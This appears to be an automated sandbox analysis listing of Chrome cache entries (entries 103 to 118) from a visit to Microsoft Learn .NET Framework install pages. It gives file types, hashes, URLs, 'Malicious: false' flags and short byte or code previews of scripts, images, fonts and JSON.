Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
